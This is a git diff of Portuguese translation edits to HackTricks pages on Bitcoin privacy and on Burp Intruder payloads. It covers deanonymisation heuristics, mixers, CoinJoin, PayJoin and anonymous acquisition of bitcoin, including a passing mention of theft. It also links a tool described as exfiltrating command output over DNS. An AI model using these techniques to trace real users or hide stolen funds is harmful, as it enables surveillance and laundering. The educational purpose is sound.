## Conceitos Básicos
|
## Conceitos Básicos
|
||||||
|
|
||||||
- **Contratos Inteligentes** são programas que executam em uma blockchain quando certas condições são atendidas, automatizando a execução de acordos sem intermediários.
|
- **Smart Contracts** são definidos como programas que executam em uma blockchain quando certas condições são atendidas, automatizando a execução de acordos sem intermediários.
|
||||||
- **Aplicações Descentralizadas (dApps)** são construídas com base em contratos inteligentes, apresentando uma interface amigável para o usuário e um back-end transparente e auditável.
|
- **Aplicações Descentralizadas (dApps)** se baseiam em smart contracts, apresentando uma interface amigável e um back-end transparente e auditável.
|
||||||
- **Tokens & Moedas** diferenciam-se onde moedas servem como dinheiro digital, enquanto tokens representam valor ou propriedade em contextos específicos.
|
- **Tokens & Coins** diferenciam onde coins servem como dinheiro digital, enquanto tokens representam valor ou propriedade em contextos específicos.
|
||||||
- **Tokens de Utilidade** concedem acesso a serviços, e **Tokens de Segurança** significam propriedade de ativos.
|
- **Utility Tokens** concedem acesso a serviços, e **Security Tokens** significam propriedade de ativos.
|
||||||
- **DeFi** significa Finanças Descentralizadas, oferecendo serviços financeiros sem autoridades centrais.
|
- **DeFi** significa Finanças Descentralizadas, oferecendo serviços financeiros sem autoridades centrais.
|
||||||
- **DEX** e **DAOs** referem-se a Plataformas de Troca Descentralizadas e Organizações Autônomas Descentralizadas, respectivamente.
|
- **DEX** e **DAOs** referem-se a Plataformas de Troca Descentralizadas e Organizações Autônomas Descentralizadas, respectivamente.
|
||||||
|
|
||||||
## Mecanismos de Consenso
|
## Mecanismos de Consenso
|
||||||
|
|
||||||
Mecanismos de consenso garantem validações seguras e acordadas de transações na blockchain:
|
Os mecanismos de consenso garantem validações de transações seguras e acordadas na blockchain:
|
||||||
- **Prova de Trabalho (PoW)** depende de poder computacional para verificação de transações.
|
- **Proof of Work (PoW)** depende de poder computacional para verificação de transações.
|
||||||
- **Prova de Participação (PoS)** exige que validadores possuam uma certa quantidade de tokens, reduzindo o consumo de energia em comparação com PoW.
|
- **Proof of Stake (PoS)** exige que validadores mantenham uma certa quantidade de tokens, reduzindo o consumo de energia em comparação ao PoW.
|
||||||
|
|
||||||
## Conceitos Essenciais do Bitcoin
|
## Essenciais do Bitcoin
|
||||||
|
|
||||||
### Transações
|
### Transações
|
||||||
|
|
||||||
Transações de Bitcoin envolvem a transferência de fundos entre endereços. As transações são validadas por meio de assinaturas digitais, garantindo que apenas o proprietário da chave privada possa iniciar transferências.
|
As transações de Bitcoin envolvem a transferência de fundos entre endereços. As transações são validadas por meio de assinaturas digitais, garantindo que apenas o proprietário da chave privada possa iniciar transferências.
|
||||||
|
|
||||||
#### Componentes Chave:
|
#### Componentes Chave:
|
||||||
|
|
||||||
- As transações consistem em **inputs** (fonte de fundos), **outputs** (destino), **taxas** (pagas aos mineradores) e **scripts** (regras da transação).
|
- **Transações Multisignature** exigem múltiplas assinaturas para autorizar uma transação.
|
||||||
|
- As transações consistem em **inputs** (fonte de fundos), **outputs** (destino), **fees** (pagas aos mineradores) e **scripts** (regras da transação).
|
||||||
|
|
||||||
### Rede Lightning
|
### Lightning Network
|
||||||
|
|
||||||
Tem como objetivo melhorar a escalabilidade do Bitcoin permitindo múltiplas transações dentro de um canal, transmitindo apenas o estado final para a blockchain.
|
Tem como objetivo melhorar a escalabilidade do Bitcoin permitindo múltiplas transações dentro de um canal, transmitindo apenas o estado final para a blockchain.
|
||||||
|
|
||||||
## Preocupações com a Privacidade do Bitcoin
|
## Preocupações com a Privacidade do Bitcoin
|
||||||
|
|
||||||
Ataques à privacidade, como **Propriedade Comum de Inputs** e **Detecção de Endereço de Troco UTXO**, exploram padrões de transações. Estratégias como **Mixers** e **CoinJoin** melhoram o anonimato ao obscurecer os links de transações entre usuários.
|
Ataques de privacidade, como **Common Input Ownership** e **UTXO Change Address Detection**, exploram padrões de transação. Estratégias como **Mixers** e **CoinJoin** melhoram a anonimidade ao obscurecer os links de transação entre os usuários.
|
||||||
|
|
||||||
## Adquirindo Bitcoins de Forma Anônima
|
## Adquirindo Bitcoins Anonimamente
|
||||||
|
|
||||||
Métodos incluem negociações em dinheiro, mineração e uso de mixers. **CoinJoin** mistura várias transações para complicar a rastreabilidade, enquanto **PayJoin** disfarça CoinJoins como transações regulares para maior privacidade.
|
Os métodos incluem trocas em dinheiro, mineração e uso de mixers. **CoinJoin** mistura múltiplas transações para complicar a rastreabilidade, enquanto **PayJoin** disfarça CoinJoins como transações regulares para maior privacidade.
|
||||||
|
|
||||||
|
|
||||||
# Ataques à Privacidade do Bitcoin
|
# Ataques de Privacidade do Bitcoin
|
||||||
|
|
||||||
# Resumo dos Ataques à Privacidade do Bitcoin
|
# Resumo dos Ataques de Privacidade do Bitcoin
|
||||||
|
|
||||||
No mundo do Bitcoin, a privacidade das transações e o anonimato dos usuários são frequentemente motivo de preocupação. Aqui está uma visão simplificada de vários métodos comuns pelos quais os atacantes podem comprometer a privacidade do Bitcoin.
|
No mundo do Bitcoin, a privacidade das transações e o anonimato dos usuários são frequentemente assuntos de preocupação. Aqui está uma visão simplificada de vários métodos comuns pelos quais atacantes podem comprometer a privacidade do Bitcoin.
|
||||||
|
|
||||||
## **Assunção de Propriedade Comum de Inputs**
|
## **Assunção de Propriedade de Input Comum**
|
||||||
|
|
||||||
Geralmente é raro que inputs de diferentes usuários sejam combinados em uma única transação devido à complexidade envolvida. Assim, **dois endereços de input na mesma transação frequentemente são assumidos como pertencentes ao mesmo proprietário**.
|
É geralmente raro que inputs de diferentes usuários sejam combinados em uma única transação devido à complexidade envolvida. Assim, **dois endereços de input na mesma transação são frequentemente assumidos como pertencentes ao mesmo proprietário**.
|
||||||
|
|
||||||
## **Detecção de Endereço de Troco UTXO**
|
## **Detecção de Endereço de Troca UTXO**
|
||||||
|
|
||||||
Um UTXO, ou **Unspent Transaction Output**, deve ser totalmente gasto em uma transação. Se apenas uma parte dele for enviada para outro endereço, o restante vai para um novo endereço de troco. Observadores podem assumir que este novo endereço pertence ao remetente, comprometendo a privacidade.
|
Um UTXO, ou **Unspent Transaction Output**, deve ser totalmente gasto em uma transação. Se apenas uma parte dele for enviada para outro endereço, o restante vai para um novo endereço de troca. Observadores podem assumir que este novo endereço pertence ao remetente, comprometendo a privacidade.
|
||||||
|
|
||||||
### Exemplo
|
### Exemplo
|
||||||
Para mitigar isso, serviços de mistura ou o uso de múltiplos endereços podem ajudar a obscurecer a propriedade.
|
Para mitigar isso, serviços de mistura ou o uso de múltiplos endereços podem ajudar a obscurecer a propriedade.
|
||||||
|
|
||||||
## **Exposição em Redes Sociais e Fóruns**
|
## **Exposição em Redes Sociais e Fóruns**
|
||||||
|
|
||||||
Usuários às vezes compartilham seus endereços de Bitcoin online, tornando **fácil vincular o endereço ao seu proprietário**.
|
Os usuários às vezes compartilham seus endereços de Bitcoin online, tornando **fácil vincular o endereço ao seu proprietário**.
|
||||||
|
|
||||||
## **Análise do Grafo de Transações**
|
## **Análise de Gráficos de Transação**
|
||||||
|
|
||||||
Transações podem ser visualizadas como gráficos, revelando conexões potenciais entre usuários com base no fluxo de fundos.
|
As transações podem ser visualizadas como gráficos, revelando potenciais conexões entre usuários com base no fluxo de fundos.
|
||||||
|
|
||||||
## **Heurística de Input Desnecessário (Heurística de Troco Ótimo)**
|
## **Heurística de Input Desnecessário (Heurística de Troca Ótima)**
|
||||||
|
|
||||||
Essa heurística é baseada na análise de transações com múltiplos inputs e outputs para adivinhar qual output é o troco que retorna para o remetente.
|
Esta heurística é baseada na análise de transações com múltiplos inputs e outputs para adivinhar qual output é a troca retornando ao remetente.
|
||||||
|
|
||||||
### Exemplo
|
### Exemplo
|
||||||
```bash
|
```bash
|
||||||
2 btc --> 4 btc
|
2 btc --> 4 btc
|
||||||
3 btc 1 btc
|
3 btc 1 btc
|
||||||
```
|
```
|
||||||
## **Reutilização Forçada de Endereços**
|
Se adicionar mais entradas faz com que a saída de troco seja maior do que qualquer entrada única, isso pode confundir a heurística.
|
||||||
|
|
||||||
Os atacantes podem enviar pequenas quantias para endereços usados anteriormente, esperando que o destinatário combine essas com outras entradas em transações futuras, vinculando assim os endereços.
|
## **Reutilização Forçada de Endereço**
|
||||||
|
|
||||||
|
Os atacantes podem enviar pequenas quantias para endereços previamente utilizados, na esperança de que o destinatário combine essas quantias com outras entradas em transações futuras, ligando assim os endereços.
|
||||||
|
|
||||||
### Comportamento Correto da Carteira
|
### Comportamento Correto da Carteira
|
||||||
As carteiras devem evitar usar moedas recebidas em endereços já utilizados e vazios para evitar essa exposição de privacidade.
|
As carteiras devem evitar usar moedas recebidas em endereços já utilizados e vazios para prevenir esse vazamento de privacidade.
|
||||||
|
|
||||||
## **Outras Técnicas de Análise de Blockchain**
|
## **Outras Técnicas de Análise de Blockchain**
|
||||||
|
|
||||||
- **Quantias de Pagamento Exatas:** Transações sem troco provavelmente são entre dois endereços pertencentes ao mesmo usuário.
|
- **Valores de Pagamento Exatos:** Transações sem troco são provavelmente entre dois endereços pertencentes ao mesmo usuário.
|
||||||
- **Números Redondos:** Um número redondo em uma transação sugere um pagamento, sendo a saída não redonda provavelmente o troco.
|
- **Números Redondos:** Um número redondo em uma transação sugere que é um pagamento, com a saída não redonda provavelmente sendo o troco.
|
||||||
- **Identificação de Carteira:** Diferentes carteiras têm padrões únicos de criação de transações, permitindo que analistas identifiquem o software usado e potencialmente o endereço de troco.
|
- **Impressão Digital de Carteira:** Diferentes carteiras têm padrões únicos de criação de transações, permitindo que analistas identifiquem o software utilizado e potencialmente o endereço de troco.
|
||||||
- **Correlações de Quantia e Tempo:** Divulgar horários ou quantias de transação pode tornar as transações rastreáveis.
|
- **Correlações de Quantidade e Tempo:** Divulgar horários ou quantidades de transações pode tornar as transações rastreáveis.
|
||||||
|
|
||||||
## **Análise de Tráfego**
|
## **Análise de Tráfego**
|
||||||
|
|
||||||
Ao monitorar o tráfego de rede, os atacantes podem potencialmente vincular transações ou blocos a endereços IP, comprometendo a privacidade do usuário. Isso é especialmente verdadeiro se uma entidade operar muitos nós Bitcoin, aumentando sua capacidade de monitorar transações.
|
Ao monitorar o tráfego da rede, os atacantes podem potencialmente vincular transações ou blocos a endereços IP, comprometendo a privacidade do usuário. Isso é especialmente verdadeiro se uma entidade operar muitos nós Bitcoin, aumentando sua capacidade de monitorar transações.
|
||||||
|
|
||||||
## Mais
|
## Mais
|
||||||
Para uma lista abrangente de ataques e defesas de privacidade, visite [Privacidade do Bitcoin na Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
Para uma lista abrangente de ataques à privacidade e defesas, visite [Privacidade do Bitcoin na Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||||
|
|
||||||
|
|
||||||
# Transações Anônimas de Bitcoin
|
# Transações Anônimas de Bitcoin
|
||||||
|
|
||||||
## Formas de Obter Bitcoins de Forma Anônima
|
## Formas de Obter Bitcoins Anonimamente
|
||||||
|
|
||||||
- **Transações em Dinheiro**: Adquirir bitcoin em dinheiro.
|
- **Transações em Dinheiro**: Adquirir bitcoin através de dinheiro.
|
||||||
- **Alternativas em Dinheiro**: Comprar cartões-presente e trocá-los online por bitcoin.
|
- **Alternativas em Dinheiro**: Comprar cartões-presente e trocá-los online por bitcoin.
|
||||||
- **Mineração**: O método mais privado para ganhar bitcoins é através da mineração, especialmente quando feita sozinha, pois os grupos de mineração podem conhecer o endereço IP do minerador. [Informações sobre Grupos de Mineração](https://en.bitcoin.it/wiki/Pooled_mining)
|
- **Mineração**: O método mais privado para ganhar bitcoins é através da mineração, especialmente quando feito sozinho, pois pools de mineração podem conhecer o endereço IP do minerador. [Informações sobre Pools de Mineração](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||||
- **Roubo**: Teoricamente, roubar bitcoin poderia ser outro método para adquiri-lo de forma anônima, embora seja ilegal e não recomendado.
|
- **Roubo**: Teoricamente, roubar bitcoin poderia ser outro método para adquiri-lo anonimamente, embora seja ilegal e não recomendado.
|
||||||
|
|
||||||
## Serviços de Mistura
|
## Serviços de Mistura
|
||||||
|
|
||||||
Ao usar um serviço de mistura, um usuário pode **enviar bitcoins** e receber **bitcoins diferentes em troca**, o que torna difícil rastrear o proprietário original. No entanto, isso requer confiança no serviço para não manter logs e realmente devolver os bitcoins. Opções alternativas de mistura incluem cassinos de Bitcoin.
|
Ao usar um serviço de mistura, um usuário pode **enviar bitcoins** e receber **bitcoins diferentes em troca**, o que dificulta o rastreamento do proprietário original. No entanto, isso requer confiança no serviço para não manter registros e realmente devolver os bitcoins. Opções alternativas de mistura incluem cassinos de Bitcoin.
|
||||||
|
|
||||||
## CoinJoin
|
## CoinJoin
|
||||||
|
|
||||||
**CoinJoin** mescla várias transações de diferentes usuários em uma só, complicando o processo para quem tenta associar entradas com saídas. Apesar de sua eficácia, transações com tamanhos de entrada e saída únicos ainda podem ser potencialmente rastreadas.
|
**CoinJoin** mescla várias transações de diferentes usuários em uma só, complicando o processo para qualquer um que tente combinar entradas com saídas. Apesar de sua eficácia, transações com tamanhos de entrada e saída únicos ainda podem ser potencialmente rastreadas.
|
||||||
|
|
||||||
Exemplos de transações que podem ter usado o CoinJoin incluem `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` e `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
Transações de exemplo que podem ter usado CoinJoin incluem `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` e `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||||
|
|
||||||
Para mais informações, visite [CoinJoin](https://coinjoin.io/en). Para um serviço similar no Ethereum, confira [Tornado Cash](https://tornado.cash), que anonimiza transações com fundos de mineradores.
|
Para mais informações, visite [CoinJoin](https://coinjoin.io/en). Para um serviço semelhante no Ethereum, confira [Tornado Cash](https://tornado.cash), que anonimiza transações com fundos de mineradores.
|
||||||
|
|
||||||
## PayJoin
|
## PayJoin
|
||||||
|
|
||||||
Uma variante do CoinJoin, **PayJoin** (ou P2EP), disfarça a transação entre duas partes (por exemplo, um cliente e um comerciante) como uma transação regular, sem a característica distintiva de saídas iguais do CoinJoin. Isso torna extremamente difícil de detectar e poderia invalidar a heurística comum de propriedade de entrada usada por entidades de vigilância de transações.
|
Uma variante do CoinJoin, **PayJoin** (ou P2EP), disfarça a transação entre duas partes (por exemplo, um cliente e um comerciante) como uma transação regular, sem a característica distintiva de saídas iguais do CoinJoin. Isso torna extremamente difícil de detectar e pode invalidar a heurística de propriedade de entrada comum usada por entidades de vigilância de transações.
|
||||||
```plaintext
|
```plaintext
|
||||||
2 btc --> 3 btc
|
2 btc --> 3 btc
|
||||||
5 btc 4 btc
|
5 btc 4 btc
|
||||||
```
|
```
|
||||||
Transações como a acima poderiam ser PayJoin, aumentando a privacidade enquanto permanecem indistinguíveis das transações padrão de bitcoin.
|
Transações como a acima poderiam ser PayJoin, melhorando a privacidade enquanto permanecem indistinguíveis de transações padrão de bitcoin.
|
||||||
|
|
||||||
**A utilização do PayJoin poderia perturbar significativamente os métodos tradicionais de vigilância**, tornando-se um desenvolvimento promissor na busca pela privacidade transacional.
|
**A utilização de PayJoin poderia desestabilizar significativamente os métodos tradicionais de vigilância**, tornando-se um desenvolvimento promissor na busca pela privacidade transacional.
|
||||||
|
|
||||||
|
|
||||||
# Melhores Práticas para Privacidade em Criptomoedas
|
# Melhores Práticas para Privacidade em Criptomoedas
|
||||||
|
@ -147,12 +149,12 @@ Transações como a acima poderiam ser PayJoin, aumentando a privacidade enquant
|
||||||
|
|
||||||
Para manter a privacidade e segurança, sincronizar carteiras com a blockchain é crucial. Dois métodos se destacam:
|
Para manter a privacidade e segurança, sincronizar carteiras com a blockchain é crucial. Dois métodos se destacam:
|
||||||
|
|
||||||
- **Nó completo**: Ao baixar toda a blockchain, um nó completo garante máxima privacidade. Todas as transações já feitas são armazenadas localmente, tornando impossível para adversários identificar quais transações ou endereços o usuário está interessado.
|
- **Nó completo**: Ao baixar toda a blockchain, um nó completo garante máxima privacidade. Todas as transações já realizadas são armazenadas localmente, tornando impossível para adversários identificar quais transações ou endereços o usuário está interessado.
|
||||||
- **Filtragem de bloco do lado do cliente**: Este método envolve a criação de filtros para cada bloco na blockchain, permitindo que as carteiras identifiquem transações relevantes sem expor interesses específicos a observadores de rede. Carteiras leves baixam esses filtros, buscando blocos completos apenas quando uma correspondência com os endereços do usuário é encontrada.
|
- **Filtragem de blocos do lado do cliente**: Este método envolve a criação de filtros para cada bloco na blockchain, permitindo que carteiras identifiquem transações relevantes sem expor interesses específicos a observadores da rede. Carteiras leves baixam esses filtros, buscando blocos completos apenas quando uma correspondência com os endereços do usuário é encontrada.
|
||||||
|
|
||||||
## **Utilizando Tor para Anonimato**
|
## **Utilizando Tor para Anonimato**
|
||||||
|
|
||||||
Dado que o Bitcoin opera em uma rede peer-to-peer, usar o Tor é recomendado para mascarar seu endereço IP, aumentando a privacidade ao interagir com a rede.
|
Dado que o Bitcoin opera em uma rede peer-to-peer, é recomendado usar Tor para ocultar seu endereço IP, melhorando a privacidade ao interagir com a rede.
|
||||||
|
|
||||||
## **Prevenindo Reutilização de Endereços**
|
## **Prevenindo Reutilização de Endereços**
|
||||||
|
|
||||||
|
@ -161,24 +163,24 @@ Para proteger a privacidade, é vital usar um novo endereço para cada transaç
|
||||||
## **Estratégias para Privacidade de Transações**
|
## **Estratégias para Privacidade de Transações**
|
||||||
|
|
||||||
- **Múltiplas transações**: Dividir um pagamento em várias transações pode obscurecer o valor da transação, frustrando ataques à privacidade.
|
- **Múltiplas transações**: Dividir um pagamento em várias transações pode obscurecer o valor da transação, frustrando ataques à privacidade.
|
||||||
- **Evitar troco**: Optar por transações que não exigem troco aprimora a privacidade ao interromper métodos de detecção de troco.
|
- **Evitar troco**: Optar por transações que não exigem saídas de troco melhora a privacidade ao interromper métodos de detecção de troco.
|
||||||
- **Múltiplas saídas de troco**: Se evitar troco não for viável, gerar múltiplas saídas de troco ainda pode melhorar a privacidade.
|
- **Múltiplas saídas de troco**: Se evitar troco não for viável, gerar múltiplas saídas de troco ainda pode melhorar a privacidade.
|
||||||
|
|
||||||
# **Monero: Um Farol de Anonimato**
|
# **Monero: Um Farol de Anonimato**
|
||||||
|
|
||||||
O Monero aborda a necessidade de anonimato absoluto em transações digitais, estabelecendo um alto padrão de privacidade.
|
Monero aborda a necessidade de anonimato absoluto em transações digitais, estabelecendo um alto padrão para a privacidade.
|
||||||
|
|
||||||
# **Ethereum: Gás e Transações**
|
# **Ethereum: Gas e Transações**
|
||||||
|
|
||||||
## **Compreendendo o Gás**
|
## **Entendendo Gas**
|
||||||
|
|
||||||
O Gás mede o esforço computacional necessário para executar operações no Ethereum, precificado em **gwei**. Por exemplo, uma transação custando 2.310.000 gwei (ou 0,00231 ETH) envolve um limite de gás e uma taxa base, com uma gorjeta para incentivar os mineradores. Os usuários podem definir uma taxa máxima para garantir que não paguem a mais, com o excesso sendo reembolsado.
|
Gas mede o esforço computacional necessário para executar operações no Ethereum, precificado em **gwei**. Por exemplo, uma transação que custa 2.310.000 gwei (ou 0.00231 ETH) envolve um limite de gas e uma taxa base, com uma gorjeta para incentivar os mineradores. Os usuários podem definir uma taxa máxima para garantir que não paguem a mais, com o excesso reembolsado.
|
||||||
|
|
||||||
## **Executando Transações**
|
## **Executando Transações**
|
||||||
|
|
||||||
Transações no Ethereum envolvem um remetente e um destinatário, que podem ser endereços de usuário ou contratos inteligentes. Elas requerem uma taxa e devem ser mineradas. Informações essenciais em uma transação incluem o destinatário, assinatura do remetente, valor, dados opcionais, limite de gás e taxas. Notavelmente, o endereço do remetente é deduzido da assinatura, eliminando a necessidade dele nos dados da transação.
|
Transações no Ethereum envolvem um remetente e um destinatário, que podem ser endereços de usuário ou de contrato inteligente. Elas requerem uma taxa e devem ser mineradas. As informações essenciais em uma transação incluem o destinatário, a assinatura do remetente, o valor, dados opcionais, limite de gas e taxas. Notavelmente, o endereço do remetente é deduzido da assinatura, eliminando a necessidade de incluí-lo nos dados da transação.
|
||||||
|
|
||||||
Essas práticas e mecanismos são fundamentais para qualquer pessoa que deseje se envolver com criptomoedas priorizando privacidade e segurança.
|
Essas práticas e mecanismos são fundamentais para qualquer pessoa que deseje se envolver com criptomoedas enquanto prioriza a privacidade e a segurança.
|
||||||
|
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
@ -192,16 +194,16 @@ Essas práticas e mecanismos são fundamentais para qualquer pessoa que deseje s
|
||||||
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,28 +1,28 @@
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# Cargas Básicas
|
# Payloads Básicos
|
||||||
|
|
||||||
* **Lista Simples:** Apenas uma lista contendo uma entrada em cada linha.
|
* **Lista Simples:** Apenas uma lista contendo uma entrada em cada linha
|
||||||
* **Arquivo em Tempo de Execução:** Uma lista lida em tempo de execução (não carregada na memória). Para suportar listas grandes.
|
* **Arquivo em Tempo de Execução:** Uma lista lida em tempo de execução (não carregada na memória). Para suportar listas grandes.
|
||||||
* **Modificação de Caixa:** Aplicar algumas alterações a uma lista de strings (Sem alteração, para minúsculas, para MAIÚSCULAS, para Nome Próprio - Primeira letra maiúscula e o restante em minúsculas -, para Nome Próprio - Primeira letra maiúscula e o restante permanece o mesmo -.
|
* **Modificação de Caso:** Aplique algumas mudanças a uma lista de strings (Sem mudança, para minúsculas, para MAIÚSCULAS, para Nome Próprio - Primeiro capitalizado e o resto em minúsculas-, para Nome Próprio - Primeiro capitalizado e o resto permanece o mesmo-).
|
||||||
* **Números:** Gerar números de X a Y usando um passo Z ou aleatoriamente.
|
* **Números:** Gere números de X a Y usando Z passos ou aleatoriamente.
|
||||||
* **Força Bruta:** Conjunto de caracteres, comprimento mínimo e máximo.
|
* **Brute Forcer:** Conjunto de caracteres, comprimento mínimo e máximo.
|
||||||
|
|
||||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Carga útil para executar comandos e obter a saída via solicitações DNS para burpcollab.
|
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload para executar comandos e capturar a saída via solicitações DNS para burpcollab.
|
||||||
|
|
||||||
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
|
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
|
||||||
|
|
||||||
|
@ -30,16 +30,16 @@ Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -2,47 +2,47 @@
|
||||||
|
|
||||||
### Listeners
